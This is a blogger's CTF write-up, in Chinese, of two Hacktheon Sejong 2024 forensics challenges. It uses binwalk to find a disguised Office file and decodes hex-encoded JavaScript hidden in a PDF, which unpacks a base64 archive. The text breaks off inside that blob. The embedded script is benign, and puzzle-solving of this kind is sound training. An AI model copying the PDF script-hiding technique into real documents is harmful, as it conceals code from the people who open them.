Hacktheon Sejong 2024

hackthon kor

https://mandu-mandu.tistory.com/m/472

Dashboard (hacktheon-ctf.org)

flag (hacktheon-ctf.org)


前言:

我在這之前很少參加CTF競賽,也是沒有找到隊友的緣故比較喜歡一個人做研究

首先,感謝願意和我組隊的隊友們,一位馬來西亞、一位印度、一位台灣

如果沒有他們,我應該也沒有機會參加這種競賽,雖然印度的隊友當天比賽沒出現,但也從馬來西亞的朋友身上學到很多,我很感謝他的出現~

我不是CTF專家,透過這個比賽更知道自己的不足,雖然小可惜沒進入決賽,但希望未來繼續提升自己能力,直到能達到目標的那一天!!!

再次感謝我的隊友們!!

底下有些題目是賽後才解出來的,謝謝我隊友的朋友,隊友強,隊友的朋友也強哈哈

幸好有人能諮詢,我也再次的熬夜去複習並找出flag


MS Office

使用binwalk工具可以看到該文件應該是ppt檔案

Untitled

把xlsx副檔名修改成ppt打開文件就能看到裡面的文字

Untitled


Confidential

使用pdftotext找出隱藏在pdf內容中文字,看起來沒料

Untitled

Untitled

不過後來我隊友很快解出來了,然後我就一直去騷擾問他怎麼解的,感謝他的幫助

there was a hidden javascript encoded code inside it

1
2
3
/S /JavaScript
/JS <76617220656E636F646564537472203D20225545734442416F4141414141414141414951442F2F2F2F2F73414541414C414241414151414141415733527959584E6F585338774D4441774C6D526864502F2F2F2F3841414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414146424C417751554141594143414141414345414D4235704777454241414378415141414551415A41475276593142796233427A4C324E76636D557565473173494B49564143696741414141414141414141414141414141414141414141414141477951543076454D42544537344C666F655465704F6E71736C7661374D325467714343313543383751616250795278752F767454574F744654774F4D2B2F4876476B50467A30555A2F424257644D6869697455674246574B744E33364F33316F647968496B52754A422B73675135644961414475373170685775453966447372514D66465951696B55786F684F76514B55625845424C45435451504F43564D4D6F2F57617836543944317858487A77486B68645656756949584C4A497963547348514C456331494B52616B2B2F5244426B68425941414E4A675A434D53572F325168656833385073724E4B616857764C7630303131327A706667326C2F516C714355346A694D654E376C47366B2F4A2B39506A533336315647626153674269307A34657A6D72616C573161737061544E302F4F397068576437696D57337866302F307542332B384C50364F7A4C34414141442F2F774D41554573444242514142674149414B4B446446675870546F3470774141415051414141415541414141643239795A4339335A574A545A5852306157356E637935346257794E6A6B454B776A41515266654364776A5A323151584971564E516151585541395130326B6261444A684A68727839415A303438376C352F50666633583764497434414C46463338687455556F42337542672F64544936365862484753723136733656516C755A34677846797A7979484E466A5A786A444A565362475A7750526359774F647552484A397A4A456D68654E6F445A7A513342333471485A6C7556634553782F7A4963383273507A53306A2B30684451455167504D5763517448353772725A63364F324B4931746B58644568487773524151756C612F636A724E31424C417751554141594143414369673352594E416D69644A494141414451414141414567414141486476636D51765A6D397564465268596D786C4C6E68746249324F545172434D42434639344A334B4C4F3371533545536E383234676E30414347643245417A4532616939666747374146635074376A6531383366754A53765645304D5056777242756F6B427850675A3439504F36337777584759622F723174597A5A61334B6E4C5356487561635532754D75686D6A315A6F5455756B385337533552486B61396A3434764C4A3752615273546B317A4E6F4B4C7A65564B353541554E7472364432316C6D5A4B7751395869467063664C3970414D48526D3078752B554573444242514142674149414B4B44644669524475303130514D414144384E4141415241414141643239795A43396B62324E3162575675644335346257793156383175347A59517668666F4F7869364A3549733233474D32497474306978796142456B32374E4255375246725067446B724C69506655564372544841723374412B7862646673514866354973534D3374623374785349314D39393838334649305664766E6C6A5A57784F6C716544544B4431506F683768574F535572366252542B39767A3862526D396D3333317A566B317A6769684675656844423957524E706C46686A4A7A45736359465955696643306B34474A64434D575267716C5978512B70444A632B775942495A7571416C4E5A75346E79536A4B4D43496156517050676B515A3478694A625259476873794563736C785351386D6768315346346665524D6F753479784969567745467758564F6F476A5A324B4269555744636A3674534C5772477A38616E6C49746C79684775526E706164644335564C4A54445247743765654F4D7A596A726F594C59696E6F4F49735A6369746A41416D435A75394D2B4161664A614D5746464C46684C6F5A4E2F54782F73467447557868446C4C597945686E765255456356386B364A53725A6F764E75657236456C4979664C396C4C707236507A5743424A576A6F53667833614E654A72394E7930586251396D762F7233717450363530746B644C68635758314F79725434774265647538642F3942716E4934777A592B44613159396873674742374873514A537755653275756F695A79456D5A745368314F744C4874574136444F4C45657350495539526A65484B33346B4B6852516C497346693957747166644E685178552B486C6274466442446A41696C6A386630356A702F536F3047473857553837674C315477434338366966647147796F364647735758564B6537413033464C495173457244704942376236533651397859314F4B693774647A6C646E496155645A48477079453974394D4D7267674C6B572F7355377166653255665769494D3336316550536B704A772B5637575655475247464E394F6F5037794D5A6C64783632716A6C413965674E4D616C5841783852344C61384F69464B6F784F436758375636376A4238623432416367442F363939653661376E577A6C626B6A516D58424B6B51562B5457714734464E7A595561557A6877507279365A652F66762B35392B666E503737382B70757467794274336D714B3970694B74317A764338487765646E46635558345648356F4A514256704A664369666D614C50712F4C5273796832786D646A6648694A7635496974707473376D6D3653617938724D3058784A7932796563686A643339786173735A543938536473415162563041366E4379464D4677596369334B697646324C667A616475303276416E784776434B33544C544C46524F4D47576F3945766C5454594552673945477A6A6B476B634D793064354A5372642B67615034502B343752316144574463612B7369525574576F6858355468676A6D4D63436B7974326C796A6875533130482B74533145513943495A3453775A712B762B4A772F5839653537766B7436684B566550746F4E7132477A707062326731354D4378714E78466E615264584271724835416476385A4164665A39434A4A3356596D53774F7A7751442B514E694477437230504664305657795A43344A7941766634693252737661313257394E565A647730435752744F702F33783471393330686951786A4137545341584157726459566933796C7174375142662B7535524656704846453468653670775642624E6E4A6B37556E2F434B63552B495755496477747241344E444D33746A7A6359674E3339465A72394456424C4177515541415941434143696733525966594A477450494341414157435141414477414141486476636D5176633352356247567A4C6E6874624D56577A5737554D42432B492F454F55653574647064535164533071725A5556494B79676C616376593533592F4250734C314E32784F76674152484A473438414739466551686D624B65622F514732456F4A544D76376D66373578736E64774B55567977597A6C57685670663775584A6B7852585849314C644C7A732B4F74522B6E422F76313765303175335A56674E6746395A584E4A693752797273367A7A4E4B4B53574B336463305567424E744A4845676D6D6B6D69586B377137656F6C6A5678664D77466431665A6F4E666254614D6273346B58505A6C77796F34306E556D6D6E4C66504442506755537462386471323370704E764458616C4C58526C466B4C4E556F522F456E43316132622F73364B49386D7030565A50334459556B34574D4D6E51463576326566354D69335963326C5A6F6573516D5A435764527245636D696C4843787875614E506B46455555363171344373777A50454C45316F5A415777475469474C536E7639734C654552517959794D4E326D66454D504C6937454137555432756B314F7464436D4455356D5467666E2F746A4876323742515276334F70775037536F7939435861716D77684B6867784D642B71584569796D7736557539516D54793777556F6257516430705350373070437A53305173767536756146576C4E444A6B61556D506A6D6C7752796472777038673948414D4577484F50733076583475676D67484349344C746A7A315A2F6476766535444D2B4D6C7762594774727552554E357769612B385A764E6B3742465873354535432B377A7234785A4D6948547838485073564A6F397532376E476D545738314D31514B32653061504F4A772B6C4361496D2B5834456A6476526B53624F444C4371652F6C4C78314C636C3168687A73582B58483144724D52534731434B57636C366B4E31382F2F506A3850766E2B3763764E78302F49415561734F37536372494771513258586D564337724F77724361484361397759547A447378782F354E3842634176396F4251536B734A30722F4976376C6F786168695A5933622F6A6F325753502B566C795A53767369734371565846532F613659757263737243627930655265762F7A6D74683849672F6D4533466B4C4E6A4B4E4D4A746B4A784673484D6E7A4C65344A662F362F585A6A6755534277592F466B416E786E48674A4C6D326E35533066796B7543716344584A32356C774E464F73416C65506F45336337312B3731456742654B6F5A2F69302B713269562F435A3648714E77786A5936646F50666A46646B4534555874484C61625257486D384E3737775A4F2F4D35714A6B634D775066727A577A534A35786535645632485247585A4C44694C766952707848472F797A4352766A2F33483266774A5153774D4546414147414167416F6F4E30574F62777A663870427741414E683841414255414141423362334A6B4C33526F5A57316C4C33526F5A57316C4D53353462577A7457553976327A595576772F5964784230642F31506B753267626D484C64724F31615976613764416A49394D5747306F304A4471705552515932754F4141634F36595A6342752B307762437651417274306E795A62683630442B68583253466F533554394B326D5348416B6D4152434C663737306648782F664938584C5678384731446A4555557859324461726C79716D67554F506A556B34625A743352344E53307A52696A7349786F697A4562584F4259394F346575586A6A347A4C614966374F4D414761416A6A486451326663356E4F2B56793745457A69692B784751366862384B69414846346A61626C6359534F51484E417937564B78536B486949536D45614941464E2B615449694844616E53764A496F37314F7745504A594E486730476772564F49655173754F44717043494637464C492B4D513062594A647362736149516663744F674B4F6251305459723867636735555259506937686C472F526F6D6B59794A38314455766F2B4B416D655554542F5A53495A646D5730316B69564D6653714A536C66423353622F536476724D4F57636F697A774F664B4B36364A62766236766273645A676D72783433574F7731657658714E716955563944363276673674766A6442705879436D71745151634446795A6B4731544B4B3669394272577352733231746B476C764949366139424770644F7A477475675574366E4A44785941315A73702B3575634649715057463064794F795A567544526D33645A41614167457A6A57786965734A4276692F594150574452414153454945576368415A667A5041456562434F33767A3431622F6666323738382B4B484E382B2B4D59305A436C6B4D7A5A56615A56437077312F7861386D6E7066656B4171454A4930324E346F71523650446974513550726B6842306F6939694D7834322F7755544A6D61344E74585037393939634A342B2B7235385A4F587830392B4F33373639506A4A723071764143616A544258736F6E43714B386950524B365A62546A49535A6B482F767A6C697A392B2F3772594543534644504436322B642F76587A2B2B7273762F2F37705751477345364639485459694159364E6D2F6A49754D4D4347487342513777667652397935434F69497A76684E455968456C594C375057356E3050645843434B437553374F4F2F356578456B7A794C4174666D4433494347666A546E704D444364542F49416659596F313057465872747575436754644E6F486B364C5355567A5866344F516F64466E46775535754B6D50353942645346464A6C776635345A786D364B516F796B4F4D546445487A7641754D414C39776E4A7A6373653853495773776B3337684F6A693069684330646B50786531475869584244432F69794C6945456335582B37644D37714D466E6D6E68772F7A434669646942594D626F52707A763358304A796A6F4D6A45434156556E3741626950744667786775496B2B5837386363496D694B4B54503659787A4852646862456668484336627243424A3159546A7430555751523053634842545A7549455930784539647544364B4A67565959596B3948584D4A2F45424C41316B33476138434C624838697457764D4E386F7644454D4C70486343364D54702F4637704A706A6D6F57674B4A6E48685845786A584D6375746D754B415468484D7045777067727134464A48792F496D646646446C526A71476135756235505974634A794B4671333533706253644A4C3961304677576A636D48583839366142376578724355743238434C73705A6272743455633475796C6D3639542B2F636E5A532F766E2F693168577436436B695A4258787A683533416D326E756B6D684E4968583142384935596E6F7869712B5867416A51496E76366A67394976437A4964486C576E5348706C3363714270684B514349324C384D384C396F59396D63424155353165304D343258647161784D574D786E41396C6336704F66554E4A444D45706378377373624671725662465678526C5837564C6A6F686E456855376C59686C7535434163797058477078473269306146586635615163474A742B6D386E795A6B425061336F57675A6E34627758724B5942504252745A394B6F4C53492B664D7346584973436C4D716A6B6F594167526D4D34303748634E32433233546473434B4942683953474B78327275515249456C4F2B586753506A3544794453486C36475554774353495A5144594475544344665677696B633169466B51744D597754505341636F434C3846454755493668462B5461435147444A49434D592B32694D6B7A466D41724C357845422F317A68715A5547694D6442586F7644686B6D4D32436F316A6F356E31432B5A624B4A34786B45516D58456C774E4E54544851324E6F3762703147304953772F4E32755945506B7642597A43442B497A46575166524B58796739726849664A41527A3577655A31484D65796A323156524A665371596B6735684A6941635277596C51647355666B6F384B5A756C70796773475667356B6E3231426D6E7441366266677254353464455869537358536E6779775237586730747245624F6C586D5839412F436D4E776E4F524664657A3468454F32774F55545830783066475070314864784345754E326F43756550535178487436716169544742473473305757667876314C517865714742614666424D6851566532497A6E7930724C705A7870577461716C724E7849704C396C54344A6A55626271583936646975364B336E4832526E6B61447672466F5A66734F565258424D586F324650754F6C57774959306C3350636F6A656D6F35313032555672757971646A494D366C56676C793666394B79646D737461363973305462557A72574276764D65532B4F6632642F4958777876786338776B71777969724B56394B757173386F2F633142533245376766357253715446774D674F795661346850565132464D364E444B44784C467373674B3875484769614A416346475A4879546C532F4357583744794446396544475A30374633536767567073677354324572364F776E78374B6A585761744E5A6270656A794F4141675978365274766D6F596E6373743261377055725437706573756C55704E65314F766453783758713162316372765737744D6151653767645657393045442B427A4C31307337344E6C2B397164634A42383862376B7361444D354A31765759355033676C58613576756845666930746330434F544A52303574304B7133756B36705665384D536C617632797931584B6462366A6C756F7A666F7558617A4E586873476F6453324F7255586376704E30744F3158564C6C6C4D52394A757455734F71315470576F39507357783078426D43774D676A7055334247386A39786E3652363554395153774D4546414147414167416F6F4E30574330513363646E4177414172676741414245414141423362334A6B4C334E6C64485270626D647A4C6E6874624A3157323237624F4242395832442F7764427A665575546F424469464768634E2B6B6D33514471747338554E624B4A3843494D4B577664722B2B514643306269644F695436466D7A70793538484363712F662F4B7A6E61416C706839434B625432625A434451336C64447252666266313958345866622B2B752B2F72727263676E4E6B74534F4B30445933693678466E56752B4163587357416D4F787072616A626C5275616C727761482F6B2F5552754D67327A6A5835644E6F48545577446D74687167346F354F7A47346E736249706547744175326D5A37505A355252424D6B66313259316F62474A54663870477154614A5A5074614531736C453636627A3135443975313242717439784F2B5535774D614E42797370636B7147647456544F6845592B5876384D5235336F73534765344F534B3770326E34596F305A643367427947696864385779575856394E6F384D444C4E764349384A575150636F754773526776736C4D3947674D5858686D41506974413149475954434A54437175637658794A5269644E505245706947474A2B7567707131306E316C5A65464D51794662526A322B5331556475304F417349316B75317544346F66526A736B6C736F3679666B4A526653546C37684A48333166314B2F7742365464414A2F687079724D3471703779464E6F546176505961707065454F6F2F674A6F71444E322F374F6879766D484975414D734773594A66454F396F5A47706D6370384D65374771415A4A484C474B4578452B65306C436F6A65383945464669326861586430434931756F3454583379384572593669306B38484A54573151696379464770686B6D6B4E4276556A3473484F774E47305A5439394635546152374A65674C6D38747244376573353170695A6545657653644D685A78473947344E464E416567743169464A493458595070674B7678686246732B657A5831515443756E587A54532B3346364C3834742B336F4779547851715363327133432B5252357050504B336F376B624B4B376D6C556D36594B6C477730594E664E4251335944792B784B635051672F6F456D6A395163524633344171326E49416A73654849484A356E46564D7968554A616344524D6F7241766338447659535855496479396D65567977654736384E79776950613233306B6E6F4430396B414F3965654443767969416678454B6D78694A66536F50334D50374A413164376F692F3144762F507938547A703450565A6F64792F55674C4E745753544336504D6F545276764345624B2F33654C4D572F76334E2B42767A45536B4D54432F327242413273615569734A70567A5046356B5536343262653930342B716F59506F5750636E33572B3836436A3736384C337777376E736C64482F776748676B5648385962472B54376531674F302B32383846326B577758672B30793253363962624F6A6655367239346E6B6E593765586873705451665662544975736D636D5035726E512F43444354766E546E505A566B44367167793364396F7665787443586E5037766334466962485971584C5959704F59374D6A6E4D306C685851454E6255426E6B4F6F4F7677467649766A4946784B6E2F7A797566774A5153774D4546414147414167416F6F4E30574472392B702F72414141415A674D41414277414141423362334A6B4C3139795A57787A4C325276593356745A5735304C6E6874624335795A57787A725A4C4C62734D67454558336C666F5061505931647670515651566E4530584B746E552F674F4478513755424D644E482F723749556C7569657547464E306A33416E664F77477833582B4D67506A425137367943497374426F445775376D3272344C553633447A437272792B326A376A6F446D656F6137334A4F496C53776F365A76386B4A5A6B4F5230325A38326A6A5475504371446E4B304571767A5A7475555737792F4547474E41504B693078787242574559313241714D34656C32533770756B4E377031354839487954416C4A794277626F5A697051347573344D664A496D636B6B476C6238304362565948345047434B4D2B6E6C4D4C6472776E7A69366558664179586D637179374E6245615A376E537077482F66753358576F353076795953782F6C4F63435970703757594A3771594B79712F4156424C41775155414159414341436967335259777432507A2B41414141426E4167414143774141414639795A57787A4C7935795A57787A725A444E61674D784449547668623644385433725451716C6C48687A4B595863536B6B66514E6A61585A503442316C4A30376576794B565A5745716750556F6144642F4D656E4F4F423356437169456E7135644E7178556D6C33314967395566753966466B39353039336672647A77416936614F6F56516C54366C6150544B585A324F71477A464362584C424A4A632B557753576B515A54774F3168514C4E7132306444317836366D33697172626561746E367031653672344E2B385455514744777A475A634A464953456A446C6A46484768417474706E39796272656C453051693038356A726B504E377164727A63393848685333624869496C6E476A42345A6B77652F652B41554D727466412F2F7954644E384E50645A795A76704D424C73486D32535A57312B775A5153774D4546414147414167416F6F4E30574976337A4A4278415141413267554141424D41414142625132397564475675644639556558426C6331307565473173745A544C54734D7745455833535078443543314B334C4A41434358706773655356714A38674F4E4D576F4E6A573762372B6E736D53524F685571684D31553255683333757665504A704A4E744C614D315743653079736734475A4549464E656C5549754D764D3966346E737979612B7630766E4F674974777358495A575870764869683166416B3163346B326F50424C7057334E504437614254574D66374946304E7652364935797254776F482F754751664C30435371326B6A353633754C7254726751696B5350336270474B69504D47436B34382B694C726C563549424C7271684963537331584E6149544C57466166414433694B64372F6C456843394B464B65326A4A4C697A64654F57777267627A48744B716C6E7965365A447742515077596F536F686D7A2F70585657414B4B38575A5747306578474D6E66754E4D6C677162614A5A5378515352594C3242493057766E615839333141585846734A7439505672646764726237517471664D37435335632B61424847685A6D352B4163646E63746B343762483255662F5867524F69506750573639684A55394F63444D426F7133692F6E3542672B774E50794F352F62716A364D61794455544B73425268534E6C7A6772356A373439315430444F73434F7834454A744C324F7A2B376E46764E546E4C616A4F76384355457344424251414267414941414141495142307A74497772774541414A454441414151414141415A47396A55484A7663484D76595842774C6E6874624A7854775737624D4179394639672F474C6F33646F4A684B414C61785A426936474846417352747A35704D32384A73535A42596F2B6E586C376151526C6C336D6B2B506A39545449796E44376573345A4250366F4B3070785870566941794E736F303258536B6536782F584E79494C4A45306A423275774645634D347262366367563762783136306867796C6A436846443252322B5A355544324F4D71773462546A54576A394B34744233755731627266444F71706352446557626F766957347975686162433564682B43496970754A2F70663063617132563934716F2B4F4456645157354A447255657343736A504165786C6836466151783442504676664C484545734F756C6C347034507650424A414C75346F4471785773367A716B30684A2F617343717A45664174586E5A65756E34686B776765486E614464677439676E425163734164323639614F5153452F457A41506370354E5875703252464D744A31516B66565A30472B386E4933496673754163394F6C6D4B54583068413350356646594D4744432B5372577450413270794C38514C5473685472722F4F4D754A62425A65464D52672B63754853333342422B746477762F6350734F6A5737654968574533735A38657634354848706D472F375335396E2F5363387574726553634C543643374A5A4A33506D7671446B79727536627A59684963444C7838623375784A37557A4150632F59442F4F56664E5A30324A78715069666775334E5038512B723170745677522F6B43636550372B5070562B38414141442F2F774D41554573424169304143674141414141414141416841502F2F2F2F2B77415141417341454141424141414141414141414141414141414141414141414141467430636D467A614630764D4441774D43356B59585251537745434C5141554141594143414141414345414D4235704777454241414378415141414551414141414141414141414141414141414465415141415A47396A55484A7663484D76593239795A53353462577851537745434C514155414159414341414141434541463655364F4B63414141443041414141464141414141414141414141414141414141416E41774141643239795A4339335A574A545A5852306157356E6379353462577851537745434C5141554141594143414141414345414E416D69644A49414141445141414141456741414141414141414141414141414141414142414141643239795A43396D623235305647466962475575654731735545734241693041464141474141674141414168414A454F37545852417741415077304141424541414141414141414141414141414141417767514141486476636D51765A47396A6457316C626E517565473173554573424169304146414147414167414141416841483243527254794167414146676B4141413841414141414141414141414141414141417767674141486476636D5176633352356247567A4C6E68746246424C415149744142514142674149414141414951446D384D332F4B516341414459664141415641414141414141414141414141414141414F454C4141423362334A6B4C33526F5A57316C4C33526F5A57316C4D53353462577851537745434C5141554141594143414141414345414C524464783263444141437543414141455141414141414141414141414141414141413945774141643239795A43397A5A5852306157356E6379353462577851537745434C5141554141594143414141414345414F7633366E2B73414141426D41774141484141414141414141414141414141414141445446674141643239795A433966636D56736379396B62324E31625756756443353462577775636D56736331424C415149744142514142674149414141414951444333592F5034414141414763434141414C414141414141414141414141414141414150675841414266636D567363793875636D56736331424C415149744142514142674149414141414951434C3938795163514541414E6F4641414154414141414141414141414141414141414141455A414142625132397564475675644639556558426C633130756547317355457342416930414641414741416741414141684148544F306A4376415141416B514D4141424141414141414141414141414141414141416F786F4141475276593142796233427A4C32467763433534625778515377554741414141414177414441442F416741416742774141414141223B0D0A0D0A66756E6374696F6E206261736536344465636F646528737472297B0D0A2020202072657475726E2061746F6228737472293B0D0A7D0D0A0D0A766172206465636F646564537472203D206261736536344465636F646528656E636F646564537472293B0D0A636F6E736F6C652E6C6F67286465636F64656453747229>

Untitled

1
2
3
4
5
6
7
8
var encodedStr = "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